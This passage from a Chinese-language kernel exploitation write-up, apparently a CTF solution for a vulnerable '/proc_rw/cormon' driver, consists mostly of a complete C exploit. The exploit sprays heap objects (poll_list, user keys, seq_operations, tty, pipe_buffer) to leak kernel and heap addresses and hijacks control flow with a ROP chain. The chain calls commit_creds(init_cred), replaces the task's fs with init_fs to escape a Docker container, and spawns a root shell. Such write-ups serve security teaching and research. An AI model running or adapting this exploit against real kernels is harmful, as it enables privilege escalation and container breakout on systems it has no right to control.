具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务，我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中，setns() 被seccomp默认屏蔽了，我们可以克隆 init_fs 结构，然后用find_task_by_vpid()定位当前任务，用 gadget 手动安装新fs_struct。

    // commit_creds(&init_creds)
    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;

    // current = find_task_by_vpid(getpid())
    *rop++ = pop_rdi_ret;
    *rop++ = getpid();
    *rop++ = find_task_by_vpid;

    // current->fs = &init_fs
    *rop++ = pop_rcx_ret;
    *rop++ = 0x6e0;
    *rop++ = add_rax_rcx_ret;
    *rop++ = pop_rbx_ret;
    *rop++ = init_fs;
    *rop++ = mov_mmrax_rbx_pop_rbx_ret;
    rop++;

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define PAGE_SIZE 0x1000

int randint(int min, int max) {
    return min + (rand() % (max - min));
}

void bind_core(bool fixed, bool thread) {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
    if (thread) {
        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
    } else {
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    }
}

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

bool is_kernel_text_addr(size_t addr) {
    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
//    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}

bool is_dir_mapping_addr(size_t addr) {
    return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}

#define INVALID_KERNEL_OFFSET 0x1145141919810

const size_t kernel_addr_list[] = {
        0xffffffff813275c0,
        0xffffffff812d4320,
        0xffffffff812d4340,
        0xffffffff812d4330
};

size_t kernel_offset_query(size_t kernel_text_leak) {
    if (!is_kernel_text_addr(kernel_text_leak)) {
        return INVALID_KERNEL_OFFSET;
    }
    for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
        if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
            && (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
            return kernel_text_leak - kernel_addr_list[i];
        }
    }
    printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
    return INVALID_KERNEL_OFFSET;
}

size_t search_kernel_offset(void *buf, int len) {
    size_t *search_buf = buf;
    for (int i = 0; i < len / 8; i++) {
        size_t kernel_offset = kernel_offset_query(search_buf[i]);
        if (kernel_offset != INVALID_KERNEL_OFFSET) {
            printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
            printf("[+] kernel offset: %#lx\n", kernel_offset);
            return kernel_offset;
        }
    }
    return INVALID_KERNEL_OFFSET;
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

typedef struct {
    int nfds, timer;
} poll_args;

struct poll_list {
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};

pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;

void *alloc_poll_list(void *args) {
    int nfds = ((poll_args *) args)->nfds;
    int timer = ((poll_args *) args)->timer;

    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
    for (int i = 0; i < nfds; i++) {
        pfds[i].fd = open("/etc/passwd", O_RDONLY);
        pfds[i].events = POLLERR;
    }

    bind_core(true, true);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);
    poll(pfds, nfds, timer);

    bind_core(false, true);

    pthread_mutex_lock(&mutex);
    poll_threads--;
    pthread_mutex_unlock(&mutex);
}

#define N_STACK_PPS 30
#define POLL_NUM 0x1000

pthread_t poll_tid[POLL_NUM];

void create_poll_thread(size_t size, int timer) {
    poll_args *args = calloc(1, sizeof(poll_args));
    args->nfds = 
        (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
        + N_STACK_PPS;
    args->timer = timer;
    pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}

void wait_poll_start() {
    while (poll_threads != poll_cnt);
}

void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
    for (int i = 0; i < poll_threads; i++) {
        pthread_join(poll_tid[i], NULL);
        if (confuse != NULL) {
            confuse(confuse_args);
        }
    }
    poll_cnt = poll_threads = 0;
}

struct callback_head {
    struct callback_head *next;

    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;

struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short datalen;    /* length of this data */
    char data[0] __aligned(__alignof__(u64)); /* actual data */
};

#define KEY_NUM 199
int key_id[KEY_NUM];

int key_alloc(int id, void *payload, int payload_len) {
    char description[0x10] = {};
    sprintf(description, "%d", id);
    return key_id[id] = 
        syscall(__NR_add_key, "user", description, payload, 
                payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int id, void *payload, size_t plen) {
    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

int key_read(int id, void *bufer, size_t buflen) {
    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

int key_revoke(int id) {
    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}

int key_unlink(int id) {
    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

struct list_head {
    struct list_head *next, *prev;
};
struct tty_file_private {
    struct tty_struct *tty;
    struct file *file;
    struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};

void get_shell(void) {
    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);
}

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024

int cormon_fd;
char buf[0x20000];

void seq_confuse(void *args) {
    open("/proc/self/stat", O_RDONLY);
}

size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;

int main() {
    bind_core(true, false);
    save_status();
    signal(SIGSEGV, (void *) get_shell);

    cormon_fd = open("/proc_rw/cormon", O_RDWR);
    if (cormon_fd < 0) {
        perror("[-] failed to open cormon.");
        exit(-1);
    }
    
    size_t kernel_offset;
    int target_key;
    puts("[*] Saturating kmalloc-32 partial slabs...");

    int seq_fd[SEQ_NUM];
    for (int i = 0; i < SEQ_NUM; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
        if (seq_fd[i] < 0) {
            perror("[-] failed to open stat.");
            exit(-1);
        }
        if (i == 2048) {
            puts("[*] Spraying user keys in kmalloc-32...");
            for (int j = 0; j < KEY_NUM; j++) {
                setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
                key_alloc(j, buf, 32);
                if (j == 72) {
                    bind_core(false, false);
                    puts("[*] Creating poll threads...");
                    for (int k = 0; k < 14; k++) {
                        create_poll_thread(
                            PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 
                            3000);
                    }
                    bind_core(true, false);
                    wait_poll_start();
                }
            }
            puts("[*] Corrupting poll_list next pointer...");
            write(cormon_fd, buf, PAGE_SIZE);
            puts("[*] Triggering arbitrary free...");
            join_poll_threads(seq_confuse, NULL);
            puts("[*] Overwriting user key size / Spraying seq_operations structures...");
        }
    }
    puts("[*] Leaking kernel pointer...");

    for (int i = 0; i < KEY_NUM; i++) {
        int len = key_read(i, buf, sizeof(buf));
        kernel_offset = search_kernel_offset(buf, len);
        if (kernel_offset != INVALID_KERNEL_OFFSET) {
            qword_dump("dump leak memory", buf, 0x1000);
            target_key = i;
            break;
        }
    }
    if (kernel_offset == INVALID_KERNEL_OFFSET) {
        puts("[-] failed to leak kernel offset,try again.");
        exit(-1);
    }

    push_rsi_pop_rsp_ret += kernel_offset;
    pop_rdi_ret += kernel_offset;
    init_cred += kernel_offset;
    commit_creds += kernel_offset;
    pop_r14_pop_r15_ret += kernel_offset;
    find_task_by_vpid += kernel_offset;
    init_fs += kernel_offset;
    pop_rcx_ret += kernel_offset;
    add_rax_rcx_ret += kernel_offset;
    mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
    pop_rbx_ret += kernel_offset;
    swapgs_ret += kernel_offset;
    iretq += kernel_offset;

    puts("[*] Freeing user keys...");
    for (int i = 0; i < KEY_NUM; i++) {
        if (i != target_key) {
            key_unlink(i);
        }
    }
    sleep(1);

    puts("[*] Spraying tty_file_private / tty_struct structures...");
    int tty_fd[TTY_NUM];
    for (int i = 0; i < TTY_NUM; i++) {
        tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
        if (tty_fd[i] < 0) {
            perror("[-] failed to open ptmx");
        }
    }

    puts("[*] Leaking heap pointer...");

    size_t target_object = -1;
    int len = key_read(target_key, buf, sizeof(buf));
    qword_dump("dump leak memory", buf, 0x1000);
    for (int i = 0; i < len; i += 8) {
        struct tty_file_private *head = (void *) &buf[i];
        if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
            && head->list.next == head->list.prev && head->list.prev != NULL) {
            qword_dump("leak tty_struct addr from tty_file_private", &buf[i], 
                       sizeof(struct tty_file_private));
            target_object = (size_t) head->tty;
            printf("[+] tty_struct addr: %p\n", target_object);
            break;
        }
    }
    if (target_object == -1) {
        puts("[-] failed to leak tty_struct addr.");
        exit(-1);
    }

    puts("[*] Freeing seq_operation structures...");
    for (int i = 2048; i < SEQ_NUM; i++) {
        close(seq_fd[i]);
    }

    bind_core(false, false);

    puts("[*] Creating poll threads...");
    for (int i = 0; i < 192; i++) {
        create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
    }

    bind_core(true, false);

    wait_poll_start();

    puts("[*] Freeing corrupted key...");
    key_unlink(target_key);
    sleep(1); // GC key

    puts("[*] Overwriting poll_list next pointer...");
    char key[32] = {};
    *(size_t *) &buf[0] = target_object - 0x18;

    for (int i = 0; i < KEY_NUM; i++) {
        setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
        key_alloc(i, key, 32);
    }

    puts("[*] Freeing tty_struct structures...");
    for (int i = 0; i < TTY_NUM; i++) {
        close(tty_fd[i]);
    }

    sleep(1); // GC TTYs
    int pipe_fd[PIPE_NUM][2];
    puts("[*] Spraying pipe_bufer structures...");
    for (int i = 0; i < PIPE_NUM; i++) {
        pipe(pipe_fd[i]);
        write(pipe_fd[i][1], "aaaaaa", 6);
    }

    puts("[*] Triggering arbitrary free...");
    join_poll_threads(NULL, NULL);


    ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
    ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;


    size_t *rop = (size_t *) buf;

    *rop++ = pop_r14_pop_r15_ret;
    rop++;
    rop++; // ops

    // commit_creds(&init_creds)
    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;

    // current = find_task_by_vpid(getpid())
    *rop++ = pop_rdi_ret;
    *rop++ = getpid();
    *rop++ = find_task_by_vpid;

    // current->fs = &init_fs
    *rop++ = pop_rcx_ret;
    *rop++ = 0x6e0;
    *rop++ = add_rax_rcx_ret;
    *rop++ = pop_rbx_ret;
    *rop++ = init_fs;
    *rop++ = mov_mmrax_rbx_pop_rbx_ret;
    rop++;

    // back to user
    *rop++ = swapgs_ret;
    *rop++ = iretq;
    *rop++ = (uint64_t) get_shell;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;

    puts("[*] Spraying ROP chain...");
    for (int i = 0; i < 31; i++) {
        key_alloc(i, buf, 1024);
    }

    puts("[*] Hijacking control flow...");
    for (int i = 0; i < PIPE_NUM; i++) {
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
    }

    sleep(5);

    return 0;
}